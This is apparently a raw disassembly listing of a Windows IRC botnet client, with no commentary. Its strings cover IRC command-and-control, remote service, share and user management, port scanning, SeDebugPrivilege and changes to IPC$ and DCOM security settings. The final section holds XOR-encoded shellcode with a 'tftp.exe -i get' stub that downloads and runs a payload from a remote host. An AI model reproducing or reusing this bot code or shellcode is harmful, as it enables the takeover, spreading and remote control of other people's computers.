dword_42B7D8 dd 323333h ; seg000:0040BE9Co ... aNotice db 'NOTICE',0 ; DATA XREF: seg000:0040B987o ; sub_4110B0+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: seg000:0040B97Bo ; sub_4110B0+16o dword_42B7EC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040B92Ao dd 2029206Ch, 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 10h dword_42B820 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040B903o dd 2029206Ch, 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: seg000:0040B8CCo aPart db 'PART',0 ; DATA XREF: seg000:0040B87Eo ; seg000:0040B947o align 10h aSS db ':%s%s',0 ; DATA XREF: seg000:0040B856o align 4 aNick db 'NICK',0 ; DATA XREF: seg000:0040B728o align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040B6C9o ; seg000:0040B96Bo dword_42B880 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040B6B0o ; seg000:00410DBCo ... dd 2029206Ch, 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: seg000:0040B63Fo align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040B5E8o ; seg000:0040FE46o ... align 4 a433 db '433',0 ; DATA XREF: seg000:0040B5C0o a@: ; DATA XREF: seg000:0040B595o unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: seg000:0040B585o a005 db '005',0 ; DATA XREF: seg000:0040B570o a001 db '001',0 ; DATA XREF: seg000:0040B55Bo aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040B53Fo ; seg000:0040B70Fo ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040B51Eo align 4 aPing db 'PING',0 ; DATA XREF: seg000:0040B504o align 10h asc_42B900: ; DATA XREF: seg000:0040B4F5o ; seg000:00410EBEo unicode 0, <!>,0 asc_42B904 db ' :',0 ; DATA XREF: seg000:0040B3E1o ; seg000:loc_40BEF4o align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 dword_42B998 dd 25207325h, 253A2073h, 0A0D73h, 0off_42B9A8 dd offset aAdd ; DATA XREF: sub_41114B+6Dr ; sub_41152F+50r ... ; "Add" off_42B9AC dd offset aAdded ; DATA XREF: sub_41114B+2Dr ; sub_41152F+82r ... ; "Added" dword_42B9B0 dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42BA1Ch, 42BA14h, 2, 42BA08h, 42B9FCh, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:0042B9DCo aStop_0 db 'Stop',0 ; DATA XREF: seg002:0042B9D8o align 4 aStarted db 'Started',0 ; DATA XREF: seg002:0042B9D0o aStart_0 db 'Start',0 ; DATA XREF: seg002:0042B9CCo align 4 aListed db 'Listed',0 ; DATA XREF: seg002:0042B9C4o align 4 aList_0 db 'List',0 ; DATA XREF: seg002:0042B9C0o align 4 aDeleted db 'Deleted',0 ; DATA XREF: seg002:0042B9B8o aDelete_0 db 'Delete',0 ; DATA XREF: seg002:0042B9B4o align 4 aAdded db 'Added',0 ; DATA XREF: seg002:off_42B9ACo align 4 aAdd db 'Add',0 ; DATA XREF: seg002:off_42B9A8o dword_42BA70 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41114B+74o dd 2029206Ch, 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42BAA8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41114B+55o dd 2029206Ch, 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42BAE4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41114B+38o dd 2029206Ch, 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_411274+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_411274:loc_41138Co align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_411274:loc_411385o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_411274:loc_41137Eo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_411274:loc_411377o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_411274:loc_411370o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_411274:loc_411369o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_411274:loc_411362o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_411274:loc_41135Bo align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_411274:loc_411354o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_411274:loc_41134Do align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_411274:loc_411322o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_411274:loc_41131Bo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_411274:loc_411314o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_411274:loc_41130Do align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_411274+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_411274:loc_4112E2o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_411274:loc_4112D8o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_411274:loc_4112CEo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_411274:loc_4112C4o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_411274:loc_4112BAo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_411274+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_4113F2+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_4113F2:loc_4114BEo aStarting db ' Starting',0 ; DATA XREF: sub_4113F2:loc_4114B7o aStoping db ' Stoping',0 ; DATA XREF: sub_4113F2:loc_4114B0o aRunning db ' Running',0 ; DATA XREF: sub_4113F2:loc_4114A9o aContinuing db ' Continuing',0 ; DATA XREF: sub_4113F2:loc_4114A2o aPausing db ' Pausing',0 ; DATA XREF: sub_4113F2:loc_41149Bo aPaused_0 db ' Paused',0 ; DATA XREF: sub_4113F2:loc_411494o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_4113F2+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_4113F2+25o align 4 dword_42C04C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41152F+ABo dd 2029206Ch, 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_42C084 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41152F+89o dd 2029206Ch, 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_42C0B4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41152F+57o dd 2029206Ch, 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_411724+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_411724+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_411724+B5o dword_42C114 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_411724+76o dd 2029206Ch, 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_411724+26o align 4 dword_42C188 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_411845+B6o dd 2029206Ch, 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_42C1C4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_411845+94o dd 2029206Ch, 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42C204 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_411845+6Do dd 2029206Ch, 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_42C238 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41198B+394o dd 2029206Ch, 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 10h aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41198B+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41198B+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41198B+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41198B+2ECo align 10h aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41198B+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41198B+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41198B+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41198B+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41198B+21Eo align 10h aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41198B+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41198B+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41198B+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41198B+178o align 10h aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41198B+14Do align 10h aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41198B+125o aGuest db 'Guest',0 ; DATA XREF: sub_41198B:loc_411AA4o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_41198B:loc_411A9Do align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41198B+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41198B+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41198B+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_41198B+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_411D59+14Fo align 4 dword_42C3F8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_411D59+F7o dd 2029206Ch, 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_411D59+BEo align 10h dword_42C440 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_411D59+7Ao dd 2029206Ch, 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_411D59+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_411ED9:loc_411FF6o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_411ED9:loc_411FEFo align 10h aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_411ED9:loc_411FE8o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_411ED9:loc_411FE1o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_411ED9:loc_411FDAo align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_411ED9:loc_411FBDo db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_411ED9:loc_411FB6o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_411ED9:loc_411FAFo align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_411ED9+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_411ED9:loc_411F84o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_411ED9:loc_411F7Do aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_411ED9:loc_411F76o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_411ED9:loc_411F6Co align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_411ED9+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_411ED9:loc_411F46o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_411ED9:loc_411F3Co align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_411ED9:loc_411F32o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_411ED9:loc_411F28o align 10h aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_411ED9:loc_411F1Eo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_411ED9+3Bo align 4 dword_42C75C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:004120B8o dd 2029206Ch, 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42C798 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0041208Eo dd 2029206Ch, 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_412136+120o align 10h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_412136+5Ao ; sub_412136+19Eo align 4 dword_42C7F4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_4122E7:loc_41236Eo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListFai db ' Process list failed.',0 align 4 dword_42C82C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_4122E7+80o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListCom db ' Process list completed.',0 align 4 dword_42C868 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_4122E7+19o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h dd 72702067h, 7365636Fh, 3A736573h, 0 aConst db 'const',0 align 4 dd 0 dword_42C8AC dd 1 off_42C8B0 dd offset sub_41242C ; DATA XREF: sub_412797+49r aLetter db 'letter',0 align 10h dd 2, 41248Ah, 706D6F63h, 2 dup(0) dd 3, 4124D7h, 6E756F63h, 797274h, 0 dd 4, 412575h, 736Fh, 2 dup(0) dd 5, 4125EAh dword_42C904 dd 69257325h, 0 ; seg000:00412556o ... dword_42C90C dd 4350h dword_42C910 dd 7C7325h ; sub_412797+39o dword_42C914 dd 5D73255Bh, 7Chdword_42C91C dd 334B32h dword_42C920 dd 5D64255Bh, 7325hdword_42C928 dd 5D4D5Bh ; sub_4126F4+57o unk_42C92C db 2 ; DATA XREF: sub_412800+92o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 unk_42C968 db 2 ; DATA XREF: sub_4128CD+41o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 4 off_42C9A8 dd offset dword_42C9E0 ; DATA XREF: sub_412A1E+1B3o ; sub_412D42+17Ao align 10h dd offset dword_42C9D8 align 8 off_42C9B8 dd offset dword_42C9D4 ; DATA XREF: sub_412D42+1E3o dd offset dword_42C9D0 dd offset dword_42C9CC dd offset dword_42C9C8 dword_42C9C8 dd 5C3A44h ; seg002:0042C9C4o dword_42C9CC dd 2444h dword_42C9D0 dd 5C3A43h dword_42C9D4 dd 2443h dword_42C9D8 dd 494D4441h, 244Ehdword_42C9E0 dd 24435049h, 0 unk_42C9E8 db 2 ; DATA XREF: sub_412A1E+2E5o ; sub_412D42+2D8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_42CA2C db 2 ; DATA XREF: sub_412A1E+2CFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_42CA68 db 2 ; DATA XREF: sub_412A1E:loc_412C80o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_42CAA8 db 2 ; DATA XREF: sub_412A1E+25Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 10h unk_42CAE0 db 2 ; DATA XREF: sub_412A1E:loc_412BEDo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 10h unk_42CB20 db 2 ; DATA XREF: sub_412A1E+1C8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_42CB58 db 2 ; DATA XREF: sub_412A1E:loc_412B50o ; sub_412D42:loc_412E70o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_42CB9C db 2 ; DATA XREF: sub_412A1E:loc_412B49o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_42CBEC db 2 ; DATA XREF: sub_412A1E:loc_412B2Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_42CC34 db 2 ; DATA XREF: sub_412A1E+106o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_412A1E+EDo ; sub_412D42+EDo align 4 unk_42CC98 db 2 ; DATA XREF: sub_412A1E+91o ; sub_412D42+91o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_42CCDC dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_412A1E:loc_412A8Bo dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh dd 6C626173h, 2E6465h unk_42CD0C db 2 ; DATA XREF: sub_412A1E+66o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_412A1E+54o ; sub_412D42+54o align 10h word_42CD50 dw 4Eh ; DATA XREF: sub_412A1E+38r align 4 unk_42CD54 db 2 ; DATA XREF: sub_412D42+2C0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC db '%c:\',0 ; DATA XREF: sub_412D42+22Ao align 4 aC_0 db '%c$',0 ; DATA XREF: sub_412D42+219o unk_42CD98 db 2 ; DATA XREF: sub_412D42:loc_412EE1o ; sub_412D42:loc_412FAFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 4 unk_42CDD4 db 2 ; DATA XREF: sub_412D42+198o ; sub_412D42+266o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 4 unk_42CE08 db 2 ; DATA XREF: sub_412D42:loc_412E69o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_42CE58 db 2 ; DATA XREF: sub_412D42:loc_412E4Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_42CEA0 db 2 ; DATA XREF: sub_412D42+102o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_42CEF0 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_412D42:loc_412DAFo dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh dd 656C6261h, 2E64h unk_42CF20 db 2 ; DATA XREF: sub_412D42+66o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_42CF58 dw 59h ; DATA XREF: sub_412D42+38r align 4 jmp short loc_42CF60 ; --------------------------------------------------------------------------- loc_42CF5E: ; CODE XREF: seg002:loc_42CF60p jmp short loc_42CF65 ; --------------------------------------------------------------------------- loc_42CF60: ; CODE XREF: seg002:0042CF5Cj call loc_42CF5E loc_42CF65: ; CODE XREF: seg002:loc_42CF5Ej pop ebx xor ecx, ecx mov cx, 0FFFFh loc_42CF6C: ; CODE XREF: seg002:0042CF71j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_42CF6C add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_42CF82: ; CODE XREF: seg002:0042CF87j xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_42CF82 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_42D024 jnz short loc_42D010 retn ; --------------------------------------------------------------------------- loc_42D010: ; CODE XREF: seg002:0042D00Dj ; seg002:0042D01Dj call loc_42D016 ; --------------------------------------------------------------------------- align 2 loc_42D016: ; CODE XREF: seg002:loc_42D010j push 0 call sub_42D024 jz loc_42D010 retn ; =============== S U B R O U T I N E ======================================= sub_42D024 proc near ; CODE XREF: seg002:0042D008p ; seg002:0042D018p pop eax pop ebx pop ebp push eax 